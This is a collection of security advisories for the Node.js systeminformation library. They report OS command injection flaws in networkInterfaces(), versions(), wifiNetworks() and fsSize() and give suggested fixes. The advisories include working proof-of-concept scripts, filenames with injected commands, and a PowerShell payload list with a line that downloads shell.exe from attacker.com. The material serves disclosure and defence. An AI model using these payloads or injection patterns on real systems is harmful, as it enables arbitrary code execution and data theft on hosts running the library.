Summary

On Linux, systeminformation's networkInterfaces() is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive. While collecting per-interface DHCP state, the library reads /etc/network/interfaces and, for every source <path> line it encounters, extracts the path token from the file content and interpolates it unquoted into a shell command string that is run via execSync(). A source line whose path contains shell metacharacters executes arbitrary commands with the privileges of the calling Node.js process.

This is the same root-cause class as the previously-fixed NetworkManager-connection-name injection in this file: a value parsed out of local system state is re-interpolated into a shell command string without sanitization. The NetworkManager paths were converted to argument-array execution, but the interfaces(5) source-recursion sink in checkLinuxDCHPInterfaces() was left unfixed and still builds a shell string. The input to this sink is unsanitized (unlike the iface/connectionName paths, which pass through util.sanitizeString in strict mode before reaching their commands).

Impact

An attacker who can place or influence a sourced path in /etc/network/interfaces (or any file it transitively sources) achieves command execution inside any process that calls networkInterfaces(). Realistic affected deployments are the same ones that motivate this library:

- local inventory / asset agents - monitoring and diagnostics agents - admin-dashboard backends collecting host information - device-management / desktop agents

If such a process runs with elevated privileges, the injected command runs with those privileges. networkInterfaces() is a core, frequently-called API and is reached transitively by getStaticData() / getAllData(), so the sink is exercised by ordinary usage on Linux.

Threat model

The dangerous value is not a function argument supplied by the caller. It is read from the content of an interfaces(5) configuration file. The stock Debian/Ubuntu layout uses source /etc/network/interfaces.d/ and source-directory fan-out, so the parser routinely follows source directives into other files and re-parses their source lines. Any actor who can write a file that becomes reachable through that source chain — for example a lower-privileged process or configuration-management hook that drops a file into a sourced directory, or a tool that materializes an interfaces snippet from semi-trusted input — controls the path token that lands in the shell command. No NetworkManager activation or special hardware is required; the only precondition is that one sourced path string contains shell metacharacters.

Vulnerable code

lib/network.js, checkLinuxDCHPInterfaces() (current 5.31.6 line numbers):

js // lib/network.js function checkLinuxDCHPInterfaces(file) { let result = []; try { const cmd = cat ${file} 2> /dev/null | grep 'iface\\|source'; // <-- unquoted ${file} -> shell sink const lines = execSync(cmd, util.execOptsLinux).toString().split('\n');

lines.forEach((line) => { const parts = line.replace(/\s+/g, ' ').trim().split(' '); if (parts.length >= 4) { if (line.toLowerCase().indexOf(' inet ') >= 0 && line.toLowerCase().indexOf('dhcp') >= 0) { result.push(parts[1]); } } if (line.toLowerCase().includes('source')) { const file = line.split(' ')[1]; // <-- path parsed FROM file content result = result.concat(checkLinuxDCHPInterfaces(file)); // <-- recurses, re-feeding attacker path } }); } catch { util.noop(); } return result; }

util.execOptsLinux sets no shell option, so execSync(cmd, util.execOptsLinux) runs cmd through /bin/sh. The ${file} token is interpolated raw — not quoted, not passed through util.sanitizeString/sanitizeShellString — so ;, $( ), backticks, |, &, redirections, and even a bare space all break out of the intended cat/grep pipeline.

Reach chain to the public API:

js // lib/network.js, getLinuxDHCPNics() result = checkLinuxDCHPInterfaces('/etc/network/interfaces');

js // lib/network.js, networkInterfaces() (Linux branch) dhcpNics = getLinuxDHCPNics();

networkInterfaces() is also reached by getStaticData() and getAllData() in lib/index.js.

Reproduction

The PoC exercises the verbatim shipped sink function extracted from the installed nodemodules/systeminformation/lib/network.js (version pinned to 5.31.6), bound to the same childprocess.execSync and shipped util.execOptsLinux the library uses. It then drives the exact source-recursion data flow with a malicious sourced path. A negative control with a benign path confirms no execution occurs on well-formed input.

Install the pinned vulnerable version:

bash mkdir si-poc && cd si-poc npm init -y >/dev/null npm install systeminformation@5.31.6

poc.js:

js const fs = require('fs'); const path = require('path'); const cp = require('childprocess'); const libDir = path.join(dirname, 'nodemodules', 'systeminformation', 'lib'); const util = require(path.join(libDir, 'util.js'));

// Load the VERBATIM shipped sink function from the installed library source. const src = fs.readFileSync(path.join(libDir, 'network.js'), 'utf8'); const m = src.match(/function checkLinuxDCHPInterfaces\(file\) \{[\s\S]?\n\}\n/); if (!m) { console.error('could not locate shipped function'); process.exit(2); }

// Bind the same free vars network.js binds: execSync + util. const execSync = cp.execSync; const checkLinuxDCHPInterfaces = new Function('execSync', 'util', m[0] + '\nreturn checkLinuxDCHPInterfaces;')(execSync, util);

// --- Malicious case: a sourced interfaces file with shell metacharacters in the path --- const tmp = fs.mkdtempSync('/tmp/si-dhcp-'); const outer = path.join(tmp, 'interfaces'); const marker = path.join(tmp, 'PWNED'); const maliciousSource = /dev/null;id>${marker};echo; fs.writeFileSync(outer, auto lo\niface lo inet loopback\nsource ${maliciousSource}\n);

console.log('PRE markerexists=' + fs.existsSync(marker)); const res = checkLinuxDCHPInterfaces(outer); // == networkInterfaces() -> getLinuxDHCPNics() path console.log('returned=' + JSON.stringify(res)); console.log('POST markerexists=' + fs.existsSync(marker)); if (fs.existsSync(marker)) console.log('markercontents=' + fs.readFileSync(marker, 'utf8').trim());

// --- Negative control: a benign sourced path must NOT execute anything --- const tmp2 = fs.mkdtempSync('/tmp/si-neg-'); const outer2 = path.join(tmp2, 'interfaces'); const inner2 = path.join(tmp2, 'iface.d'); const marker2 = path.join(tmp2, 'PWNEDNEG'); fs.writeFileSync(inner2, 'iface eth0 inet dhcp\n'); fs.writeFileSync(outer2, auto lo\nsource ${inner2}\n); console.log('\nNEG pre markerexists=' + fs.existsSync(marker2)); const res2 = checkLinuxDCHPInterfaces(outer2); console.log('NEG returned=' + JSON.stringify(res2)); console.log('NEG post markerexists=' + fs.existsSync(marker2));

Run it:

bash node poc.js

Verbatim captured output (against systeminformation@5.31.6):

PRE markerexists=false returned=[] POST markerexists=true markercontents=uid=501(rick) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(appserverusr),80(admin),81(appserveradm),701(com.apple.sharepoint.group.1),33(appstore),98(lpadmin),100(lpoperator),204(developer),250(analyticsusers),395(com.apple.accessftp),398(com.apple.accessscreensharing),399(com.apple.accessssh),400(com.apple.accessremoteae)

NEG pre markerexists=false NEG returned=["eth0"] NEG post markerexists=false

The malicious source path caused the injected id command to run (marker created, contents = the calling process identity), while the benign source path parsed normally (["eth0"]) and produced no marker. The injected command runs with the privileges of the Node.js process that called networkInterfaces().

End-to-end reproduction

The transcript above is the end-to-end run against the pinned published artifact systeminformation@5.31.6, loading the shipped lib/network.js and lib/util.js from nodemodules. Exact commands:

bash mkdir si-poc && cd si-poc npm init -y >/dev/null npm install systeminformation@5.31.6 place poc.js (from the Reproduction section) in this directory node poc.js

The marker file PWNED is created only by the injected command path; the negative-control marker PWNEDNEG is never created. The verbatim captured stdout is shown in the Reproduction section above.

Suggested fix

Stop building a shell string from a path that comes out of file content. Read the file with fs (no shell), or use argument-array execution, and never interpolate a parsed source path into a shell command. For example:

js function checkLinuxDCHPInterfaces(file) { let result = []; try { // No shell: read the file directly and filter in JS. const content = require('fs').readFileSync(file, { encoding: 'utf8' }); const lines = content.split('\n').filter((l) => /iface|source/.test(l)); lines.forEach((line) => { const parts = line.replace(/\s+/g, ' ').trim().split(' '); if (parts.length >= 4 && line.toLowerCase().indexOf(' inet ') >= 0 && line.toLowerCase().indexOf('dhcp') >= 0) { result.push(parts[1]); } if (line.toLowerCase().includes('source')) { const sourced = line.split(' ')[1]; result = result.concat(checkLinuxDCHPInterfaces(sourced)); } }); } catch { require('./util').noop(); } return result; }

If shelling out is preferred, replace the cat/grep shell string with argument-array execution as shown below, so the path is passed as a single argv element and the shell never re-parses it:

js const { execFileSync } = require('childprocess'); const content = execFileSync('cat', [file], util.execOptsLinux).toString();

Quoting alone is insufficient. Treat every value parsed from interfaces(5) files as untrusted even though it originates from local system state, consistent with the defensive util.sanitizeString pattern already applied to the interface name and NetworkManager connection name on the sibling paths.

Fix PR

A fix is provided on a private temporary fork (not pushed to any public fork during the embargo). The branch replaces the cat ${file} shell string in checkLinuxDCHPInterfaces() with a non-shell fs.readFileSync read and adds a Linux regression test that points the function at an interfaces file containing a source directive with shell metacharacters and asserts that no side-effect command runs (no marker file is produced) while a benign sourced DHCP interface is still parsed.

Credit

Reported by tonghuaroot.

Command Injection via Unsanitized locate Output in versions() — systeminformation

Package: systeminformation (npm) Tested Version: 5.30.7 Affected Platform: Linux Author: Sebastian Hildebrandt Weekly Downloads: ~5,000,000+ Repository: https://github.com/sebhildebrandt/systeminformation Severity: Medium CWE: CWE-78 (OS Command Injection)

---

The Vulnerable Code Path

Inside the versions() function, when detecting the PostgreSQL version on Linux, the code does this:

javascript // lib/osinfo.js — lines 770-776

exec('locate bin/postgres', (error, stdout) => { if (!error) { const postgresqlBin = stdout.toString().split('\n').sort(); if (postgresqlBin.length) { exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => { // parses version string... }); } } });

Here's what happens step by step:

1. It runs locate bin/postgres to search the filesystem for PostgreSQL binaries 2. It splits the output by newline and sorts the results alphabetically 3. It takes the last element (highest alphabetically) 4. It concatenates that path directly into a new exec() call with + ' -V'

No sanitizeShellString(). No path validation. No execFile(). Raw string concatenation into exec().

The locate command reads from a system-wide database (plocate.db or mlocate.db) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to exec().

---

Exploitation

Prerequisites

For this vulnerability to be exploitable, the following conditions must be met:

1. Target system runs Linux — the vulnerable code path is inside an if (linux) block 2. locate / plocate is installed — common on Ubuntu, Debian, Fedora, RHEL 3. PostgreSQL binary exists in the locate database — so locate bin/postgres returns results (otherwise the code falls through to a safe psql -V fallback) 4. The attacker can create files on the filesystem — in any directory that gets indexed by updatedb 5. The locate database gets updated — updatedb runs daily via systemd timer (plocate-updatedb.timer) or cron on most distros

Step 1 — Verify the Environment

On the target machine, confirm locate is available and running:

which locate /usr/bin/locate

systemctl list-timers | grep plocate plocate-updatedb.timer plocate-updatedb.service (runs daily, typically around 1-2 AM)

Check who owns the locate database:

ls -la /var/lib/plocate/plocate.db -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db

Database is root-owned and updated by root. Regular users cannot update it directly, but updatedb runs on a daily schedule and indexes all readable files.

Step 2 — Craft the Malicious File Path

The key insight is that Linux allows semicolons in filenames, and exec() passes strings through /bin/sh -c which interprets semicolons as command separators.

Create a file whose path contains an injected command:

mkdir -p "/var/tmp/x;touch /tmp/SIRCEPROOF;/bin" touch "/var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres"

Verify it exists:

find /var/tmp -name postgres /var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres

This file needs to end up in the locate database. On a real system, this happens automatically when updatedb runs overnight. For testing purposes:

sudo updatedb

Then verify locate picks it up:

locate bin/postgres /usr/lib/postgresql/14/bin/postgres /var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres

Step 3 — Understand the Sort Trick

The vulnerable code sorts the locate results alphabetically and takes the last element:

javascript const postgresqlBin = stdout.toString().split('\n').sort(); exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);

Alphabetically, /var/ sorts after /usr/. So our malicious path naturally becomes the selected one:

Node.js sort order: [0] /usr/lib/postgresql/14/bin/postgres ← legitimate [1] /var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres ← selected (last)

Quick verification:

node -e " const paths = [ '/usr/lib/postgresql/14/bin/postgres', '/var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres' ]; console.log('Sorted:', paths.sort()); console.log('Selected (last):', paths[paths.length - 1]); "

Output:

Sorted: [ '/usr/lib/postgresql/14/bin/postgres', '/var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres' ] Selected (last): /var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres

Step 4 — Trigger the Vulnerability

Now when any application using systeminformation calls versions() requesting the postgresql version, the injected command fires:

javascript const si = require('systeminformation');

// This is a normal, innocent API call si.versions('postgresql').then(data => { console.log(data); });

Internally, the library builds and executes this command:

/var/tmp/x;touch /tmp/SIRCEPROOF;/bin/postgres -V

The shell (/bin/sh -c) interprets this as three separate commands:

/var/tmp/x → fails silently (not executable) touch /tmp/SIRCEPROOF → ATTACKER'S COMMAND EXECUTES /bin/postgres -V → runs normally, returns version

Step 5 — Verify Code Execution

ls -la /tmp/SIRCEPROOF -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SIRCEPROOF

The file exists. Arbitrary command execution confirmed.

The injected command runs with whatever privileges the Node.js process has. In a monitoring dashboard or backend API context, that's typically the application service account.

---

Real-World Attack Scenarios

Scenario 1 — Shared Hosting / Multi-Tenant Server

A low-privileged user on a shared server creates the malicious file in /tmp or their home directory. The hosting provider runs a monitoring agent that uses systeminformation for health dashboards. Next time the agent calls versions(), the attacker's command executes under the monitoring agent's (higher-privileged) service account.

Scenario 2 — CI/CD Pipeline Poisoning

A malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses systeminformation for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.

Scenario 3 — Container / Kubernetes Escape

In containerized environments where /var or /tmp sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running systeminformation) calls versions(), the injected command executes on the host, breaking out of the container boundary.

---

Suggested Fix

Replace exec() with execFile() for the PostgreSQL binary version check. execFile() does not spawn a shell, so metacharacters in the path are treated as literal characters:

javascript const { execFile } = require('childprocess');

exec('locate bin/postgres', (error, stdout) => { if (!error) { const postgresqlBin = stdout.toString().split('\n') .filter(p => p.trim().length > 0) .sort(); if (postgresqlBin.length) { execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => { // ... parse version }); } } });

Additionally, the locate output should be validated against a safe path pattern before use:

javascript const safePath = /^[a-zA-Z0-9/.-]+$/; const postgresqlBin = stdout.toString().split('\n') .filter(p => safePath.test(p.trim())) .sort();

---

Disclosure

- Reported via: GitHub Private Security Advisory - Advisory URL: https://github.com/sebhildebrandt/systeminformation/security/advisories/new - Security Contact: security@systeminformation.io

Summary A command injection vulnerability in the wifiNetworks() function allows an attacker to execute arbitrary OS commands via an unsanitized network interface parameter in the retry code path.

Details In lib/wifi.js, the wifiNetworks() function sanitizes the iface parameter on the initial call (line 437). However, when the initial scan returns empty results, a setTimeout retry (lines 440-441) calls getWifiNetworkListIw(iface) with the original unsanitized iface value, which is passed directly to execSync('iwlist ${iface} scan').

PoC 1. Install systeminformation@5.30.7 2. Call si.wifiNetworks('eth0; id') 3. The first call sanitizes input, but if results are empty, the retry executes: iwlist eth0; id scan

Impact Remote Code Execution (RCE). Any application passing user-controlled input to si.wifiNetworks() is vulnerable to arbitrary command execution with the privileges of the Node.js process.

Summary

The fsSize() function in systeminformation is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.

Affected Platforms: Windows only

CVSS Breakdown: - Attack Vector (AV:N): Network - if used in a web application/API - Attack Complexity (AC:H): High - requires application to pass user input to fsSize() - Privileges Required (PR:N): None - no authentication required at library level - User Interaction (UI:N): None - Scope (S:U): Unchanged - executes within Node.js process context - Confidentiality/Integrity/Availability (C:H/I:H/A:H): High impact if exploited

Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable.

---

Details

Vulnerable Code Location

File: lib/filesystem.js, Line 197

javascript if (windows) { try { const cmd = Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl; util.powerShell(cmd).then((stdout, error) => {

The drive parameter is concatenated directly into the PowerShell command string without any sanitization.

Why This Is a Vulnerability

This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using util.sanitizeShellString():

| File | Line | Function | Sanitization | |------|------|----------|--------------| | lib/processes.js | 141 | services() | ✅ util.sanitizeShellString(srv) | | lib/processes.js | 1006 | processLoad() | ✅ util.sanitizeShellString(proc) | | lib/network.js | 1253 | networkStats() | ✅ util.sanitizeShellString(iface) | | lib/docker.js | 472 | dockerContainerStats() | ✅ util.sanitizeShellString(containerIDs, true) | | lib/filesystem.js | 197 | fsSize() | ❌ No sanitization |

The sanitizeShellString() function (defined at lib/util.js:731) removes dangerous characters like ;, &, |, $, , #, etc., which would prevent command injection.

---

PoC

Attack Scenario

An application exposes disk information via an API and passes user input to si.fsSize():

javascript // Vulnerable application example const si = require('systeminformation'); const http = require('http'); const url = require('url');

http.createServer(async (req, res) => { const parsedUrl = url.parse(req.url, true); const drive = parsedUrl.query.drive; // User-controlled input // VULNERABLE: User input passed directly to fsSize() const diskInfo = await si.fsSize(drive); res.end(JSON.stringify(diskInfo)); }).listen(3000);

Exploitation

Normal Request: GET /api/disk?drive=C:

Malicious Request (Command Injection): GET /api/disk?drive=C:;%20whoami%20%23

Command Construction Demonstration

The following demonstrates how commands are constructed with malicious input:

Normal usage: Input: "C:" Command: Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl

With injection payload C:; whoami #: Input: "C:; whoami #" Command: Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl ↑ ↑ semicolon terminates # comments out rest first command

PowerShell will execute: 1. Get-WmiObject Win32logicaldisk | ... | where -property Caption -eq C: (original command) 2. whoami (injected command) 3. Everything after # is commented out

PoC Script

javascript / Command Injection PoC - systeminformation fsSize() Run with: node poc.js Requires: npm install systeminformation /

const os = require('os');

// Simulates the vulnerable command construction from filesystem.js:197 function simulateVulnerableCommand(drive) { const cmd = Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl; return cmd; }

// Test payloads const payloads = [ { name: 'Normal', input: 'C:' }, { name: 'Command Execution', input: 'C:; whoami #' }, { name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' }, { name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #' }, ];

console.log('=== Command Injection PoC ===\n'); console.log(Platform: ${os.platform()}); console.log(Note: Actual exploitation requires Windows\n);

payloads.forEach(p => { console.log([${p.name}]); console.log( Input: ${p.input}); console.log( Command: ${simulateVulnerableCommand(p.input)}\n); });

PoC Output

=== Command Injection PoC ===

Platform: win32 Note: Actual exploitation requires Windows

[Normal] Input: C: Command: Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl

[Command Execution] Input: C:; whoami # Command: Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl

[Data Exfiltration] Input: C:; Get-Process | Out-File C:\temp\procs.txt # Command: Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\temp\procs.txt # | fl

[Remote Payload] Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # Command: Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # | fl

As shown, the attacker's commands are injected directly into the PowerShell command string.

---

Impact

Who Is Affected?

- Applications running systeminformation on Windows that pass user-controlled input to fsSize(drive) - Web applications, APIs, or CLI tools that accept drive letters from users - Monitoring dashboards that allow users to specify which drives to query

Potential Attack Scenarios

1. Remote Code Execution (RCE) - Execute arbitrary commands with Node.js process privileges 2. Data Exfiltration - Read sensitive files and exfiltrate data 3. Privilege Escalation - If Node.js runs with elevated privileges 4. Lateral Movement - Use the compromised system to attack internal network 5. Ransomware Deployment - Download and execute malicious payloads

---

Recommended Fix

Apply util.sanitizeShellString() to the drive parameter, consistent with other functions in the codebase:

diff if (windows) { try { + const driveSanitized = drive ? util.sanitizeShellString(drive, true) : ''; - const cmd = Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl; + const cmd = Get-WmiObject Win32logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl; util.powerShell(cmd).then((stdout, error) => {

The true parameter enables strict mode which removes additional characters like spaces and parentheses.

---

systeminformation thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.

Impact SSID Command Injection Vulnerability

Patches Problem was fixed with a parameter check. Please upgrade to version >= 5.21.7, Version 4 was not affected

Workarounds If you cannot upgrade, be sure to check or sanitize parameter strings that are passed to wifiConnections(), wifiNetworks() (string only)

References See also https://systeminformation.io/security.html

systeminformation is an open source system and OS information library for node.js. A command injection vulnerability has been discovered in versions of systeminformation prior to 5.6.4. The issue has been fixed with a parameter check on user input. Please upgrade to version >= 5.6.4. If you cannot upgrade, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() and other commands. Only allow strings, reject any arrays. String sanitation works as expected.

Impact command injection vulnerability

Patches Problem was fixed with a parameter check. Please upgrade to version >= 5.3.1

Workarounds If you cannot upgrade, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected.

In systeminformation (npm package) before version 4.31.1 there is a command injection vulnerability. The problem was fixed in version 4.31.1 with a shell string sanitation fix.

npm package systeminformation before version 4.30.5 is vulnerable to Prototype Pollution leading to Command Injection. The issue was fixed with a rewrite of shell sanitations to avoid prototyper pollution problems. The issue is fixed in version 4.30.5. If you cannot upgrade, be sure to check or sanitize service parameter strings that are passed to si.inetChecksite().

This affects the package systeminformation before 4.30.2. The attacker can overwrite the properties and functions of an object, which can lead to executing OS commands.

Impact command injection vulnerability

Patches Problem was fixed with a shell string sanitation fix. Please upgrade to version >= 4.26.2

Workarounds If you cannot upgrade, be sure to check or sanitize service parameter strings that are passed to is.services(), is.inetChecksite(), si.inetLatency(), si.networkStats(), is.services() and si.processLoad()

References Are there any links users can visit to find out more?

For more information If you have any questions or comments about this advisory: Open an issue in systeminformation

Impact command injection vulnerability

Patches Problem was fixed with a shell string sanitation fix. Please upgrade to version >= 4.27.11

Workarounds If you cannot upgrade, be sure to check or sanitize service parameter strings that are passed to si.inetChecksite()

References Are there any links users can visit to find out more?

For more information If you have any questions or comments about this advisory: Open an issue in systeminformation